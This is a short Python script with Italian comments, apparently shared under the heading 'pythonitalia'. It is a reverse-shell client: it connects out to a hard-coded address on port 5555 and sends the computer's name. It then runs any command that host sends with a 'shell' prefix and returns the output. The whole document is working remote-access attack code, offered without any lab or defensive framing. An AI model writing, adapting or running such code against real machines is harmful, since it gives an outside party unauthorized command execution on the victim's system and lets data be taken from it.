pythonitalia

import socket ,os, subprocess
from subprocess import check_output

host = '192.168.1.106'    # Il nodo remoto
port = 5555              # The La stessa porta usata dal server

def cltConn():
    os.system('cls')
    global s
    global host
    global port
    global check
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host, port))
        check=('connessione attiva')
        computername=os.environ["COMPUTERNAME"]
        computernameby=computername.encode()

        s.send(computernameby)
    except socket.error as msg:
        print ('connessione finita')

def cltReceive():
    global args
    while check == "connessione attiva":
        cltReceive=s.recv(1024)
        cltReceive=cltReceive.decode()
        if cltReceive == "quit":
            s.close()
        elif cltReceive[0:5] == "shell":
            proc= subprocess.Popen(cltReceive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            stdout_value = proc.stdout.read() + proc.stderr.read()
            args = stdout_value
            send=s.send(args)
            cltReceive
        else:
            args='nessun input giusto'
            args=args.encode()
            send=s.send(args)
            cltReceive

if __name__ == "__main__":
    cltConn()
    while True:
        cltReceive()